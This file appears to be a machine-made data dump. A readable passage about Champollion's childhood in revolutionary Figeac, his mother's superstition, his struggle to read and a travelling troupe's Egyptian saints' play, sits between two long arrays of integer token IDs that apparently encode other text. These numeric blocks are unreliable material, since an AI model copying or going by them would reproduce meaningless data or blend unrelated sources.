253, 10532, 13, 703, 574, 26924, 432, 253, 1533, 15, 48706, 281, 1239, 390, 3630, 13, 347, 2221, 2376, 784, 347, 247, 25204, 13, 703, 12516, 617, 6009, 275, 253, 20925, 793, 447, 285, 31590, 21791, 336, 22895, 665, 452, 3982, 670, 253, 28065, 15, 1198, 849, 2010, 533, 342, 616, 1361, 812, 352, 452, 1705, 281, 1509, 326, 703, 1128, 66, 8334, 314, 13, 546, 677, 456, 3416, 273, 14327, 14, 17182, 13, 703, 13, 665, 574, 5262, 617, 1897, 13828, 323, 2471, 1128, 10178, 1677, 4201, 281, 247, 3405, 2784, 13, 5875, 3347, 32, 1244, 352, 310, 984, 273, 436, 16909, 326, 13, 281, 617, 13, 253, 1495, 273, 13089, 44987, 3133, 3509, 37993, 15, 733, 37778, 407, 253, 6293, 273, 617, 717, 86, 6639, 285, 1018, 983, 15, 32005, 2920, 13, 703, 28654, 617, 3347, 1756, 15, 2091, 344, 12941, 617, 8334, 14, 4461, 13, 703, 26986, 2706, 13089, 44987, 281, 617, 13, 47012, 285, 33632, 689, 779, 342, 271, 44089, 534, 1937, 16443, 253, 5006, 15, 187, 187, 4531, 1411, 521, 3101, 434, 3644, 18055, 285, 38969, 13, 521, 3392, 434, 5098, 1646, 281, 3959, 1708, 15, 1292, 352, 310, 247, 1708, 5868, 13089, 44987, 1128, 1542, 2167, 344, 310, 1024, 4314, 1107, 1711, 13, 344, 1335, 2550, 1239, 15, 3032, 4730, 556, 644, 4336, 22459, 15, 380, 26153, 860, 665, 574, 10256, 521, 4929, 556, 1048, 1580, 18436, 253, 2586, 15, 3032, 4929, 36063, 13, 253, 760, 581, 281, 5207, 13089, 44987, 476, 1614, 1309, 436, 9810, 42934, 673, 13, 556, 644, 2197, 1977, 281, 1361, 1329, 253, 2021, 15, 754, 556, 1669, 2667, 70, 317, 323, 34450, 706, 282, 13, 247, 2846, 2620, 3038, 13392, 13, 281, 789, 627, 347, 247, 21334, 13, 10430, 521, 479, 3800, 20375, 1728, 15, 187, 187, 36751, 44987, 310, 327, 521, 1211, 342, 767, 6667, 1900, 1078, 779, 15, 1916, 320, 247, 637, 310, 281, 1239, 13, 281, 3153, 407, 1921, 13, 407, 253, 5098, 534, 7522, 1046, 7145, 285, 10056, 1106, 15, 3105, 281, 1239, 310, 281, 320, 247, 3416, 13, 281, 23031, 275, 247, 15198, 763, 1533, 273, 18055, 285, 13702, 15, 3032, 3101, 13, 6294, 275, 407, 253, 1740, 8099, 273, 617, 8334, 14, 4461, 13, 4852, 247, 1495, 326, 310, 417, 4751, 1966, 15, 187, 187, 16812, 13, 703, 310, 417, 247, 4677, 665, 476, 320, 3365, 11511, 15, 1310, 703, 497, 13, 627, 651, 320, 642, 795, 36510, 8291, 13089, 44987, 651, 417, 452, 281, 32645, 594, 1315, 39904, 432, 617, 1650, 15, 187, 187, 1552, 4916, 253, 391, 3209, 273, 521, 8920, 27, 3032, 3101, 434, 2853, 2562, 1974, 310, 1097, 253, 2603, 273, 617, 11961, 285, 253, 2603, 273, 617, 1612, 15, 2726, 617, 30712, 285, 617, 24861, 13, 703, 310, 275, 5181, 342, 253, 40710, 273, 253, 10325, 13, 390, 594, 352, 3133, 281, 253, 5006, 15, 380, 5621, 273, 1495, 285, 2471, 6604, 275, 278, 16630, 1485, 386, 569, 15, 187, 187, 1147, 310, 347, 604, 13742, 19031, 84, 13089, 44987, 2584, 521, 3101, 434, 2853, 2562, 1974, 13, 44457, 272, 779, 285, 564, 6748, 779, 281, 3819, 896, 15, 1244, 344, 1057, 3819, 896, 27, 48423, 15, 754, 23490, 281, 9798, 2994, 281, 1239, 15, 754, 21354, 253, 4876, 273, 253, 30156, 347, 604, 344, 497, 30547, 7695, 7968, 13, 10985, 3239, 846, 3239, 342, 3000, 534, 452, 642, 4495, 323, 779, 15, 1244, 840, 581, 1388, 13, 23573, 407, 253, 1607, 257, 11656, 1430, 273, 253, 4028, 13, 344, 439, 255, 1336, 253, 5253, 3835, 273, 581, 273, 521, 3392, 434, 1984, 12866, 15, 1244, 840, 344, 439, 255, 1336, 1529, 13, 39137, 1170, 12536, 1919, 247, 3499, 32284, 21133, 3249, 3515, 285, 27125, 779, 715, 15910, 15, 187, 187, 8683, 1139, 46199, 10113, 13, 344, 32010, 521, 806, 27105, 273, 10253, 15, 187, 187, 34, 31590, 10524, 365, 273, 33017, 278, 1022, 285, 20555, 16606, 398, 12941, 2667, 70, 317, 15, 329, 12556, 310, 33517, 387, 253, 5024, 273, 3874, 285, 247, 260, 4586, 43076, 275, 253, 6278, 27, 346, 795, 510, 2926, 273, 596, 66, 12589, 84, 273, 10253, 2, 1244, 273, 253, 24011, 659, 15, 4744, 2, 1244, 273, 48595, 273, 253, 13438, 2, 659, 15, 25084, 253, 5418, 2, 659, 15, 16358, 2, 12757, 273, 253, 31654, 2, 5794, 41939, 273, 10253, 2, 30902, 273, 253, 380, 5830, 301, 835, 776, 806, 34955, 7799, 2656, 26200, 346, 187, 187, 4509, 673, 4293, 358, 10317, 13, 824, 492, 1011, 265, 452, 2684, 275, 253, 1270, 5798, 742, 83, 932, 273, 6181, 27, 9908, 7120, 13, 20075, 8711, 284, 13, 13451, 432, 253, 4852, 273, 253, 39665, 15, 1292, 1580, 253, 10532, 13, 20242, 310, 562, 273, 8142, 15, 1707, 310, 247, 14964, 273, 253, 6413, 16688, 285, 3239, 1103, 4070, 4263, 253, 2656, 22192, 273, 29382, 13, 533, 841, 24196, 38209, 403, 23075, 8312, 15, 1244, 594, 253, 10524, 365, 310, 3777, 281, 15153, 670, 253, 31504, 13, 4720, 20948, 275, 253, 1355, 25432, 2846, 273, 2667, 70, 317, 835, 253, 260, 4586, 32113, 253, 2329, 342, 253, 4454, 273, 22437, 39665, 285, 34955, 1048, 3846, 285, 28065, 14, 21107, 617, 27542, 28, 247, 1048, 1618, 281, 534, 253, 7205, 2789, 2119, 253, 260, 4586, 11323, 13, 347, 247, 346, 6553, 1381, 187, 187, 64, 1898, 253, 18465, 16172, 6147, 32436, 26200, 187, 187, 1147, 310, 247, 19080, 499, 899, 1580, 4214, 32436, 434, 1416, 310, 327, 4130, 434, 11233, 816, 1024, 15, 754, 556, 816, 2489, 253, 346, 49320, 1528, 273, 15033, 449, 24161, 512, 13653, 13, 344, 556, 16473, 253, 29894, 273, 253, 354, 14, 2163, 1116, 382, 3752, 26886, 275, 9972, 1078, 597, 574, 247, 4839, 281, 2983, 253, 747, 23822, 327, 5112, 8825, 15, 1737, 1057, 352, 2647, 326, 253, 32436, 273, 253, 1132, 310, 417, 247, 2087, 533, 247, 16172, 6147, 665, 4962, 275, 10253, 15342, 4289, 1107, 1078, 32, 733, 310, 7479, 281, 10551, 253, 13399, 512, 2035, 285, 627, 2686, 310, 247, 4602, 875, 253, 767, 28955, 790, 27, 380, 2872, 49480, 9593, 2087, 369, 4907, 846, 253, 24032, 313, 263, 846, 271, 18796, 665, 369, 4907, 846, 779, 534, 253, 19080, 7205, 273, 253, 10524, 365, 21936, 310, 253, 1072, 2181, 481, 187, 187, 510, 7205, 434, 39609, 403, 1175, 27, 380, 12556, 310, 4541, 14998, 342, 247, 9539, 273, 253, 14338, 13, 2190, 731, 13089, 44987, 285, 521, 4929, 36063, 13, 665, 556, 4895, 1728, 323, 247, 4143, 15, 10867, 41524, 16264, 896, 3002, 793, 403, 10912, 327, 253, 30162, 14, 14326, 3924, 285, 13, 342, 247, 36583, 273, 260, 3445, 932, 13, 13089, 44987, 310, 20870, 281, 247, 13438, 17836, 13, 512, 7537, 285, 8467, 15, 187, 187, 34, 4318, 432, 3212, 253, 892, 14381, 90, 38811, 5841, 562, 27, 346, 4678, 14, 4949, 367, 9761, 8712, 3750, 13, 247, 35295, 47683, 323, 521, 18465, 1495, 2, 2325, 4949, 271, 23087, 665, 23031, 84, 327, 6149, 964, 964, 17212, 187, 187, 2512, 310, 247, 20035, 1981, 273, 13178, 347, 247, 10086, 13, 23646, 2084, 4677, 1128, 79, 6840, 533, 323, 4707, 14133, 285, 3496, 790, 1128, 68, 2040, 5200, 4830, 253, 3924, 15, 496, 253, 20586, 13044, 407, 253, 7263, 2706, 13, 521, 1046, 21850, 310, 2849, 1245, 3578, 8089, 15, 187, 187, 3, 4678, 4949, 849, 344, 49371, 265, 521, 15447, 1476, 187, 187, 8836, 3501, 562, 347, 344, 364, 2824, 2994, 275, 247, 28080, 3847, 15, 754, 310, 3517, 6107, 342, 2614, 313, 20094, 521, 1211, 390, 326, 273, 247, 1499, 4551, 2122, 5893, 310, 247, 5702, 4279, 481, 6610, 344, 12326, 2994, 327, 253, 3216, 281, 4600, 15, 187, 187, 34, 3601, 1398, 1727, 327, 534, 247, 5389, 3416, 310, 16264, 13, 617, 2454, 8763, 275, 617, 3564, 13, 617, 2716, 14, 79, 6840, 2133, 3531, 2584, 253, 36515, 35295, 15, 187, 187, 3, 1147, 310, 253, 26442, 1302, 41080, 596, 66, 12589, 84, 2, 23017, 617, 2, 5531, 13, 5321, 617, 13, 367, 9761, 8712, 3750, 1476, 187, 187, 27347, 281, 521, 4669, 13, 367, 9761, 8712, 3750, 2304, 2706, 2439, 253, 3924, 347, 253, 896, 3002, 793, 403, 4391, 323, 38783, 13, 247, 1533, 314, 2846, 47683, 323, 697, 33267, 285, 32976, 285, 665, 373, 15, 187, 187, 1989, 13089, 44987, 1057, 417, 923, 253, 1551, 273, 253, 1132, 27, 849, 367, 9761, 8712, 3750, 28472, 596, 66, 12589, 84, 28, 849, 344, 10316, 617, 281, 253, 13438, 835, 253, 17770, 1495, 273, 4331, 593, 26280, 617, 28, 285, 849, 253, 35295, 25068, 521, 6009, 28279, 13, 7263, 16390, 407, 521, 32225, 323, 253, 5389, 24032, 344, 556, 3562, 964, 964, 964, 187, 187, 510, 5006, 310, 275, 1529, 1533, 27, 754, 556, 16487, 264, 3846, 1977, 432, 18349, 15, 7335, 1947, 751, 247, 34707, 273, 20951, 689, 521, 4929, 434, 9215, 13, 344, 310, 4824, 562, 715, 253, 5412, 2360, 2329, 15, 187, 187, 1898, 436, 310, 24762, 273 ]

This is the striking picture of Jean François which the Abbé records: a child crying out in the dark, jumping from bed and running through the book-crammed corridors of a gloomy house looking for someone, anyone, to console him because he cannot decipher inscrutable words. AS A CHILD, he does not play. In the center of the square in Figeac there is a guillotine. And on the roof of a house near Champollion's—high up, amid the drying clothes and stacks of firewood—there is another fashioned from planks of wood and a chair: "Vile aristocrats!" the children shout as they push their "victims" forward. "Damned and guilty race! In the name of liberty, die!" "One more moment, Monsieur the Executioner!" a young girl cries as she struggles to break free, crossing herself and falling to her knees. " _Encore_ _un_ _moment!_ " she pleads, pretending to be Madame Du Barry on the scaffold. For the mistress of Louis XV has just been executed and her last words have become a cruel joke in a death-obsessed land. Young Champollion is not recruited for such games. He is too dreamy or else—his other side—he is too wild and hot-tempered to go along with any game made up by others. The children reject the swarthy boy with his large dark eyes and shock of black hair and intense expression. And he turns from them as well, going his own way. His father is never home. In times such as these, it is not easy for a bookseller to thrive. People prefer a pair of shoes or a scrawny chicken to books. A side of meat is more to the point than the wisdom of the Greeks or heavy volumes from the church fathers. Learning is suspect. The great chemist Lavoisier is sent to death with the jeer, _The Revolution has no need of you!_ Naturalist, historian, philosopher—all die to the same refrain. The mathematician Condorcet, despite his revolutionary fervor, is hunted like a wild animal. Found hiding in the countryside, shunned by his friends, bearded and in rags, he still pathetically clutches his manuscript, _Sketch of a Historic Table of the Progress of the Human Spirit,_ a work he will take with him to the scaffold. It is a time not for philosophy, but for action. And so, Champollion père, impoverished bookseller, takes to the roads. Jean François' mother, crippled by rheumatism, spends her days at a window overlooking the narrow stone courtyard. Even before the revolution, she had withdrawn from the world. Unable to read or write, as superstitious as a witch, she puts her faith in the Gypsies and wandering sorcerers who have brought about the miracle. For how else but with their help could it have come to pass that she—a sickly, enervated woman of forty-six, she, who had spent her days preparing for death—had given birth to a strapping, healthy son? And it is because of this mystery that, to her, the life of Jean François seems precarious. It hangs by the thread of her amulets and charms. Fearfully, she watches her son grow. When he visits her sick-room, she clutches Jean François to her, weeping and praying over him with an anguish which oppresses the boy. Set against his mother's dark fears and passions, his father's books seem to offer light. But it is a light denied Jean François—for though he is now eight years old, he still cannot read. His education has been completely neglected. The Abbé who had taught his brother has long since fled the country. His brother Jacques, the only one to whom Jean François can turn during this torturous time, has been sent away to help support the family. He has left Figeac for Grenoble, a city five hours distant, to work there as a clerk, sending his meager earnings home. Jean François is on his own with two examples always before him. To be a man is to read, to live by reason, by the books which fill every corner and passageway. Not to read is to be a woman, to dwell in a feverish world of fears and dreams. His mother, shut in by the four walls of her sick-room, lives a life that is not fully human. Still, she is not a figure who can be simply dismissed. If she were, there would be no _danger,_ Jean François would not have to flee so frantically from her example. This becomes the riddle of his youth: His mother's illiteracy is both the source of her degradation and the source of her power. With her spells and her prayers, she is in touch with the mysteries of the universe, or so it seems to the boy. The forces of life and death join in mumbled incantations. It is as if fate thrusts Jean François toward his mother's illiteracy, tormenting him and goading him to fight back. And he does fight back: fiercely. He struggles to teach himself to read. He draws the letters of the alphabet as if he were sketching pictures, covering page after page with words which have no meaning for him. And then one day, frustrated by the impenetrability of the writing, he shatters the glass cover of one of his father's bookcases. And then he shatters another, wreaking destruction until a horrified servant comes running and beats him into stopping. SOON AFTER THIS, he catches his first glimpse of Egypt. A wandering troupe of Cathedral mimes and puppeteers visits Figeac. A tent is pitched at the edge of town and a crier announces in the square: " _The story of Thaïs of Egypt! And of the blessed St. Mark! And of Flowers of the desert! St. Moses the Black! St. Anthony! Children of the wilderness! Martyrs of Egypt! Stories of the Thebaid where our first monks sought God!_ " From time immemorial, such troupes have performed in the great cathedrals of France: passion plays, sacred dramas, scenes from the lives of the saints. But since the revolution, Christianity is out of fashion. There is a Festival of the Supreme Being and pageants honoring the Goddess of Reason, but these medieval legends are politically dangerous. And so the troupe is reduced to traveling about the countryside, finally arriving in the small provincial city of Figeac where the crier fills the air with the names of Egyptian saints and monks long dead and miracle-working hermits; a long list to which the manager makes sure the crier adds, as a "draw": _And the holy martyr Napoleon!_ It is a clever ploy since General Napoleon's name is on everyone's lips just now. He has just become the "Savior of Revolution." Against all odds, he has defeated the armies of the pro-monarchist Austrians in Italy before they had a chance to attack the new republic on French soil. What does it matter that the Napoleon of the play is not a general but a martyr who died in Egypt fifteen hundred years before? It is impossible to mistake the contemporary allusion and there actually is a connection between the two Napoleons: The young Corsican general was named after the saint (or after an uncle who was named after him which the clever manager of the troupe decides is the same thing). The manager's instincts are good: The tent is quickly packed with a crowd of the curious, among them Jean François and his brother Jacques, who has returned home for a visit. Garishly painted backdrops are arranged on the torch-lit stage and, with a clash of cymbals, Jean François is transported to a desert valley, all sand and sky. A voice from behind the flimsy scenery calls out: "Be-hold Paphnutius, a monk famed for his holy life! Behold an angel who dwells on earth..." There is a rustling of chains as a tall, gaunt figure—naked but for hair shirt and irons—crawls onto the stage. In the shadows thrown by the torches, his every gesture is magnified tenfold. "Behold how he subdues his flesh!" People cry out as he whips himself in a frenzy. He is soon covered with blood (whether his own or that of a slaughtered animal is a professional secret). Finally he throws himself on the ground to sleep. A screen descends on which a beautiful woman is painted, her face hidden in her hands, her half-naked body turned toward the dreaming monk. "It is the unhappy courtesan Thaïs! Save her! Oh, save her, Paphnutius!" Getting to his feet, Paphnutius marches across the stage as the backdrops are changed for Alexandria, a worldly city famed for its philosophers and poets and whores. But Jean François does not see the rest of the play: how Paphnutius converts Thaïs; how he brings her to the desert where the harsh life of penance kills her; and how the monk loses his faith afterward, tormented by his lust for the beautiful saint he has created... The boy is in another world: He has fainted dead away from excitement. Slung like a sack of potatoes over his brother's shoulder, he is carried out into the cold night air. And this is symbolic of

[ 330, 10948, 1843, 1400, 187, 187, 1147, 434, 247, 4282, 634, 3392, 5082, 626, 1007, 387, 521, 3698, 2378, 275, 247, 1223, 15, 754, 434, 247, 2017, 300, 323, 2403, 253, 16961, 3563, 13, 285, 840, 2652, 13776, 1095, 6628, 479, 347, 604, 309, 369, 281, 13387, 15, 1292, 344, 434, 247, 4936, 23639, 637, 13, 604, 344, 310, 1711, 15, 1422, 1833, 1620, 923, 253, 1388, 368, 1472, 347, 1175, 2819, 1128, 15387, 353, 2131, 27283, 13, 2057, 15, 187, 187, 64, 2993, 22522, 868, 3333, 187, 187, 42, 1833, 259, 3800, 353, 2131, 27283, 5082, 626, 2985, 253, 673, 281, 3523, 789, 285, 452, 521, 5926, 273, 41236, 604, 344, 574, 247, 3698, 281, 521, 1416, 2, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 40, 1644, 598, 2820, 281, 11823, 617, 285, 650, 968, 3333, 187, 187, 1394, 3330, 326, 581, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 1898, 1060, 434, 1529, 309, 1871, 3330, 13, 326, 368, 1472, 2403, 479, 1067, 731, 594, 368, 476, 36129, 247, 5484, 1078, 597, 1705, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4497, 13, 309, 8715, 626, 1869, 273, 326, 1128, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 4013, 642, 13, 417, 368, 2, 30683, 5082, 626, 14534, 275, 634, 6208, 13, 309, 9428, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 1989, 1024, 368, 1804, 352, 1128, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 64, 43199, 2248, 314, 4732, 3472, 3333, 187, 187, 42, 1871, 1620, 1804, 247, 637, 390, 247, 3416, 5181, 5484, 13, 353, 2131, 42953, 15, 15594, 13, 1904, 626, 352, 5159, 271, 18796, 273, 7477, 275, 253, 1711, 2586, 15, 187, 187, 64, 9112, 42424, 3333, 187, 187, 16812, 13, 247, 5926, 1024, 285, 840, 310, 642, 5237, 672, 368, 1472, 275, 1698, 19851, 13, 390, 452, 247, 3076, 5412, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 8061, 323, 35865, 479, 247, 1175, 16267, 15, 187, 187, 64, 5872, 342, 6726, 15120, 1255, 3333, 187, 187, 1394, 1871, 1805, 1067, 619, 3101, 13, 1512, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 1276, 323, 32, 1500, 434, 1900, 327, 673, 1293, 667, 6789, 15, 2656, 11736, 617, 13, 703, 556, 690, 8180, 323, 253, 1361, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2993, 434, 644, 3192, 247, 19422, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 2993, 3589, 626, 17390, 672, 309, 6699, 619, 789, 24311, 247, 1223, 896, 15, 1500, 369, 10776, 1066, 275, 253, 18345, 2316, 342, 617, 2927, 4618, 1527, 15, 1500, 1871, 247, 11527, 24934, 13, 703, 753, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 8389, 15120, 1255, 625, 6726, 3333, 187, 187, 4013, 973, 840, 13, 816, 1067, 619, 3392, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 64, 6826, 265, 281, 253, 3601, 3369, 13, 650, 24886, 1175, 14, 25781, 1520, 314, 3333, 187, 187, 2302, 4282, 619, 4669, 5159, 479, 1016, 2360, 15, 309, 1912, 626, 2940, 562, 275, 436, 4250, 285, 755, 5101, 26000, 15, 309, 1833, 1067, 432, 253, 28392, 15, 187, 187, 64, 2993, 4566, 562, 327, 253, 1930, 28392, 13, 13872, 253, 3601, 3369, 48041, 3212, 617, 13, 285, 34654, 327, 617, 1039, 281, 253, 2914, 28392, 15, 329, 2774, 1996, 703, 310, 3735, 26523, 3333, 187, 187, 46, 2131, 31635, 531, 2, 353, 2131, 27283, 2, 733, 434, 673, 2, 187, 187, 64, 3996, 27778, 13, 665, 556, 644, 17303, 27185, 314, 1078, 779, 13, 37264, 521, 1984, 13, 29121, 281, 521, 4669, 8507, 4087, 3333, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 13618, 13, 752, 247, 259, 15152, 2, 187, 187, 64, 1328, 42562, 253, 11996, 285, 268, 2108, 247, 5484, 13, 11323, 6749, 1824, 285, 17208, 15, 1284, 344, 1057, 594, 13, 344, 23238, 3095, 3551, 275, 253, 2914, 3369, 15, 754, 12516, 253, 5253, 44753, 327, 253, 23361, 285, 17954, 1066, 969, 13, 5909, 521, 1984, 15, 27283, 3249, 275, 432, 253, 2914, 1061, 3833, 13, 521, 11959, 689, 521, 4430, 15, 754, 556, 2668, 745, 23966, 285, 13898, 285, 15814, 731, 275, 521, 1133, 15, 754, 310, 46945, 17052, 432, 521, 22977, 342, 247, 1133, 46748, 15, 42953, 4453, 598, 347, 604, 521, 4361, 369, 21018, 15, 27283, 3936, 581, 1007, 387, 253, 11996, 285, 17543, 285, 28582, 31970, 1037, 3333, 187, 187, 4118, 500, 2300, 9051, 187, 187, 52, 570, 1170, 581, 13, 25685, 32, 18665, 562, 253, 787, 2066, 13, 26184, 15, 1422, 1472, 247, 687, 1440, 4330, 12353, 685, 309, 717, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 3594, 968, 3333, 187, 187, 4374, 13, 309, 16470, 581, 1223, 253, 1469, 369, 1175, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 12501, 84, 247, 1133, 21909, 1523, 327, 521, 9215, 3333, 187, 187, 2773, 434, 1805, 15, 6049, 5772, 479, 32, 844, 1472, 39839, 13, 6403, 626, 359, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 42, 3589, 626, 2119, 352, 369, 368, 3551, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 42, 1160, 253, 8937, 3083, 1007, 387, 521, 3698, 15, 309, 369, 25854, 598, 253, 2940, 672, 8842, 16813, 12948, 715, 4498, 15, 3824, 4956, 11596, 298, 782, 2, 1500, 12758, 281, 320, 247, 6194, 4300, 1209, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2773, 434, 752, 12668, 479, 281, 5484, 15, 6049, 1053, 626, 368, 36129, 581, 1223, 368, 1849, 1694, 247, 4839, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 42, 369, 4680, 273, 326, 1652, 2181, 15, 187, 187, 64, 1328, 4566, 4541, 281, 253, 3497, 387, 987, 3333, 187, 187, 510, 8937, 3083, 369, 5015, 281, 1711, 11918, 20757, 15, 6279, 13, 344, 434, 1335, 387, 352, 15, 187, 187, 64, 1328, 3249, 896, 285, 3936, 247, 5484, 3333, 187, 187, 1898, 1024, 281, 3835, 598, 432, 521, 42484, 5130, 15, 754, 16407, 4219, 253, 1268, 275, 253, 11996, 846, 1046, 5484, 15, 187, 187, 64, 1328, 5593, 767, 17208, 273, 1824, 285, 268, 2108, 731, 275, 253, 41236, 11996, 285, 41482, 352, 598, 3333, 187, 187, 2512, 15, 2064, 26019, 352, 15, 187, 187, 64, 1328, 268, 2108, 1824, 275, 253, 5253, 285, 5239, 352, 327, 253, 2829, 407, 42953, 3333, 187, 187, 1898, 1060, 434, 253, 1824, 368, 1849, 644, 10678, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 28986, 2, 1422, 1053, 626, 1158, 352, 588, 11213, 779, 13, 513, 368, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 11175, 417, 13, 533, 344, 476, 626, 5276, 352, 15, 187, 187, 64, 12501, 1076, 327, 521, 23966, 285, 13898, 3333, 187, 187, 42, 3524, 344, 2506, 626, 7740, 11157, 11298, 281, 2994, 2312, 15, 309, 1353, 18254, 15, 187, 187, 64, 1328, 17954, 2439, 253, 2829, 432, 42953, 1128, 343, 902, 1598, 3333, 187, 187, 2773, 434, 752, 309, 9239, 670, 2444, 1066, 275, 2914, 15, 754, 12516, 327, 271, 769, 323, 1046, 31833, 11213, 326, 3249, 2112, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 40, 4213, 297, 1031, 3333, 187, 187, 1394, 1472, 275, 7516, 281, 320, 18254, 15, 380, 1039, 309, 1928, 309, 1053, 626, 1557, 604, 309, 2455, 6008, 969, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 40, 1644, 779, 247, 17834, 273, 4468, 3333, 187, 187, 19577, 13, 26184, 15, 1422, 871, 479, 15, 309, 1849, 1620, 11873, 1520, 368, 13, 533, 15058, 29944, 369, 987, 672, 344, 2183, 368, 281, 2624, 562, 253, 23020, 6683, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4013, 13, 309, 1353, 1469, 281, 846, 344, 3564, 479, 253, 3076, 3668, 436, 9055, 15, 329, 1643, 1078, 840, 1912, 626, 1056, 667, 3064, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 41, 265, 36269, 1128, 7461, 7808, 3333, 187, 187, 42, 1353, 9995, 368, 1849, 1694, 634, 2564, 5480, 323, 3076, 3668, 15, 733, 1912, 626, 320, 824, 247, 480, 7391, 15, 187, 187, 64, 1328, 32010, 42953, 17303, 387, 779, 3333, 187, 187, 42, 1599, 13, 352, 434, 247, 260, 12099, 368, 1472, 1663, 8334, 13, 285, 352, 651, 320, 3430, 513, 365, 281, 5772, 4834, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 14178, 16193, 3333, 187, 187, 42, 1353, 417, 15, 309, 871, 849, 46301, 309, 1928, 13, 285, 253, 15198, 285, 448, 3171, 309, 755, 387, 2360, 403, 642, 16391, 15, 309, 1158, 15058, 29944, 434, 1390, 5476, 369, 987, 15, 733, 1364, 320, 253, 31833, 19643, 1705, 896, 327, 479, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 11175, 13, 533, 1053, 626, 320, 1512, 2119, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4967, 32, 1737, 513, 368, 1158, 352, 310, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 39312, 13, 849, 651, 309, 871, 32, 309, 1353, 642, 18589, 15, 187, 187, 64, 5039, 3787, 314, 3333, 187, 187, 7161, 434, 34471, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 5683, 15475, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 35082, 387, 779, 23071, 3333, 187, 187, 3039, 858, 703, 564, 598, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4013, 13, 670, 253, 673, 309, 2210, 1066, 281, 253, 29809, 13, 309, 5476, 15, 1500, 753, 703, 369, 1469, 281, 1379, 247, 19422, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 1394, 1904, 626, 2028, 479, 1128, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 4612, 15158, 3333, 187, 187, 4967, 943, 309, 32, 1737, 670, 352, 32, 1500, 369, 11870, 562, 15, 1500, 1904, 626, 755, 1199, 4600, 1390, 2360, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 42, 871, 703, 1904, 626, 15, 187, 187, 64, 34, 19309, 15, 380, 13189, 3693, 2819, 387, 1016, 643, 3333, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2773, 31833, 23010, 27721, 4934, 479, 22238, 13, 1512, 15, 187, 187, 64, 8195, 19309, 3333, 187, 187, 4118, 500, 2300, 9051, 187, 187, 2993, 434, 644, 24311, 3815, 512, 4131, 13, 25685, 32, 1422, 6468, 626, 2326, 617, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2302, 15, 309, 1849, 644, 4361, 1060, 15, 309, 3078, 281, 1918, 617, 247, 4839, 281, 4600, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 2513, 703, 3551, 1066, 281, 11157, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4527, 2282, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 37, 610, 314, 3333, 187, 187, 2302, 273, 2282, 670, 352, 15, 1500, 1537, 417, 971, 667, 11157, 15, 2207, 703, 1537, 1265, 1907, 954, 273, 617, 16961, 3815, 24311, 15, 2064, 434, 4592, 13, 11210, 626, 352, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 3378, 27185, 40586, 3333, 187, 187, 28512, 352, 562, 13, 27283, 2, 2615, 626, 368, 1158, 2712, 533, 1128, 32, 187, 187, 64, 16330, 86, 284, 1242, 3333, 187, 187, 1394, 1472, 512, 3430, 281, 9101, 2712, 15, 8842, 16813, 3047, 617, 417, 1048, 3622, 15, 34471, 1904, 626, 2028, 617, 703, 5082, 626, 320, 1066, 281, 11157, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 5872, 703, 3589, 626, 3192, 247, 19422, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 3650, 987, 840, 13, 533, 703, 369, 10776, 1066, 13, 8842, 16813, 753, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 688, 253, 18345, 2316, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4374, 15, 1198, 26411, 434, 13232, 13, 752, 273, 352, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 21784, 7752, 562, 3333, 187, 187, 1394, 31833, 11213, 2, 6049, 858, 368, 3553, 617, 3815, 594, 1048, 32, 6049, 1904, 626, 368, 7356, 1475, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 8457, 703, 10145, 479, 1128, 395, 368, 285, 40208, 1128, 1171, 49613, 327, 617, 512, 253, 673, 285, 417, 44895, 617, 15, 1500, 1160, 479, 1928, 29170, 15, 309, 871, 849, 46301, 352, 1364, 320, 323, 617, 15, 1244, 703, 12316, 327, 617, 20075, 3159, 273, 10390 ]

